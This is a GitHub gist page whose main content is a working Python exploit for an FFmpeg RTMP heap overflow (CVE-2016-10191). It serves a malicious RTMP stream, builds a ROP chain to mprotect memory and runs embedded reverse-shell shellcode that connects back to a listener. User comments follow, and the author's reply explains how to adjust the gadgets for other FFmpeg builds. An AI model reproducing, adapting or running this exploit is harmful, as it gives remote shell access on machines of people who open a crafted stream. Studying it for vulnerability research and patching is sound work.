-
-
Save PaulCher/9acf4dc47c95a8b40b456ba03b05a913 to your computer and use it in GitHub Desktop.
#!/usr/bin/python | |
import os | |
import socket | |
import struct | |
from time import sleep | |
from pwn import * | |
bind_ip = '0.0.0.0' | |
bind_port = 12345 | |
elf = ELF('../../ffmpeg/ffmpeg') | |
gadget = lambda x: next(elf.search(asm(x, | |
arch = 'amd64', os = 'linux'))) | |
# Gadgets that we need to know inside binary | |
# to successfully exploit it remotely | |
mov_rsp_rax = gadget('mov rsp, rax; ret') | |
add_rsp_50 = gadget('add rsp, 0x50; ret') | |
add_rsp_a0 = gadget('add rsp, 0xa0; ret') | |
pop_rdi = gadget('pop rdi; ret') | |
pop_rsi = gadget('pop rsi; ret') | |
pop_rdx = gadget('pop rdx; ret') | |
pop_rax = gadget('pop rax; ret') | |
mov_gadget = gadget('mov qword [rax], rdx; ret') | |
got_realloc = elf.got['realloc'] | |
plt_mprotect = elf.plt['mprotect'] | |
shellcode_location = 0x400000 | |
# backconnect 127.0.0.1:31337 x86_64 shellcode | |
shellcode = "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\xc7\x44\x24\x04\x7f\x00\x00\x01\x48\x89\xe6\x6a\x10\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"; | |
shellcode = '\x90' * (8 - (len(shellcode) % 8)) + shellcode | |
def create_payload(size, data, channel_id): | |
payload = '' | |
payload += p8((1 << 6) + channel_id) # (hdr << 6) & channel_id; | |
payload += '\0\0\0' # ts_field | |
payload += p24(size) # size | |
payload += p8(0x00) # type | |
payload += data # data | |
return payload | |
def create_rtmp_packet(channel_id, write_location, size=0x4141): | |
data = '' | |
data += p32(channel_id) # channel_id | |
data += p32(0) # type | |
data += p32(0) # timestamp | |
data += p32(0) # ts_field | |
data += p64(0) # extra | |
data += p64(write_location) # write_location - data | |
data += p32(size) # size | |
data += p32(0) # offset | |
data += p64(0x180) # read | |
return data | |
def p24(data): | |
packed_data = p32(data, endian='big')[1:] | |
assert(len(packed_data) == 3) | |
return packed_data | |
def handle_request(client_socket): | |
v = client_socket.recv(1) | |
client_socket.send(p8(3)) | |
payload = '' | |
payload += '\x00' * 4 | |
payload += '\x00' * 4 | |
payload += os.urandom(1536 - 8) | |
client_socket.send(payload) | |
client_socket.send(payload) | |
client_socket.recv(0x600) | |
client_socket.recv(0x600) | |
print 'sending payload' | |
payload = create_payload(0xa0, 'U' * 0x80, 4) | |
client_socket.send(payload) | |
payload = create_payload(0xa0, 'A' * 0x80, 20) | |
client_socket.send(payload) | |
data = '' | |
data += 'U' * 0x20 # the rest of chunk | |
data += p64(0) # zerobytes | |
data += p64(0x6a1) # real size of chunk | |
data += p64(add_rsp_50) # trampoline to rop | |
data += 'Y' * (0x30 - 8) # channel_zero | |
data += 'Y' * 0x20 # channel_one | |
payload = create_payload(0x2000, data, 4) | |
client_socket.send(payload) | |
data = '' | |
data += 'I' * 0x8 # fill the previous RTMPPacket[1] | |
data += p64(add_rsp_a0) # one more trampoline | |
data += create_rtmp_packet(2, got_realloc) | |
data += 'D' * (0x80 - len(data)) | |
payload = create_payload(0x1800, data, 4) | |
client_socket.send(payload) | |
jmp_to_rop = '' | |
jmp_to_rop += p64(mov_rsp_rax) | |
jmp_to_rop += 'A' * (0x80 - len(jmp_to_rop)) | |
payload = create_payload(0x1800, jmp_to_rop, 2) | |
client_socket.send(payload) | |
rop = '' | |
rop += 'AAAAAAAA' * 6 # padding | |
rop += p64(pop_rdi) | |
rop += p64(shellcode_location) | |
rop += p64(pop_rsi) | |
rop += p64(0x1000) | |
rop += p64(pop_rdx) | |
rop += p64(7) | |
rop += p64(plt_mprotect) | |
write_location = shellcode_location - 8 | |
shellslices = map(''.join, zip(*[iter(shellcode)]*8)) | |
for shell in shellslices: | |
rop += p64(pop_rax) | |
rop += p64(write_location) | |
rop += p64(pop_rdx) | |
rop += shell | |
rop += p64(mov_gadget) | |
write_location += 8 | |
rop += p64(shellcode_location) | |
rop += 'X' * (0x80 - (len(rop) % 0x80)) | |
rop_slices = map(''.join, zip(*[iter(rop)]*0x80)) | |
for data in rop_slices: | |
payload = create_payload(0x2000, data, 4) | |
client_socket.send(payload) | |
# does not matter what data to send because we try to trigger | |
# av_realloc function inside ff_rtmp_check_alloc_array | |
# so that av_realloc(our_data) shall be called | |
payload = create_payload(1, 'A', 63) | |
client_socket.send(payload) | |
sleep(3) | |
print 'sending done' | |
client_socket.close() | |
if __name__ == '__main__': | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.bind((bind_ip, bind_port)) | |
s.listen(5) | |
while True: | |
print 'Waiting for new client...' | |
client_socket, addr = s.accept() | |
handle_request(client_socket) | |
latest i want to recurrent this bug
but when i run this script i got this output,and i can not find any infomation from the internet. can anybody help me
[@inspiron]:[CVE_2016_10191]$ ./exploit_ffmpeg.py
[] '/media/*/750G-01/downloads/CVE_2016_10191/bin/ffmpeg'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled
Traceback (most recent call last):
File "./ffmpeg_rtmp_exploit.py", line 22, in
add_rsp_a0 = gadget('add rsp, 0xa0; ret')
File "./ffmpeg_rtmp_exploit.py", line 15, in
gadget = lambda x: next(elf.search(asm(x, arch = 'amd64', os = 'linux')))
StopIteration
my system is:
Linux inspiron 4.10.0-35-generic #39~16.04.1-Ubuntu SMP Wed Sep 13 09:02:42 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
Sorry, guys, I don't really get any notifications about your comments, but I think I should still answer your questions :)
-
I remember subtracting 8 from
shellcode_location
variable, because disassembler in pwntools was buggy at this time and the real gadget it found was actuallymov qword [rax+8], rdx; ret
. -
StopIteration happens if you version of ffmpeg does not contain corresponding gadget. In this case you should adjust gadgets in the ROP chain to those that do exist inside your binary.
I don't quite understand this line, why does
write_location
equalsshellcode_location
minus 8? The location of shellcode is0x400000
. This page's permission is changed torwx
bymprotect
. However address 0x3ffff8 is an unmapped unaddress, writing to this address will cause a segment fault.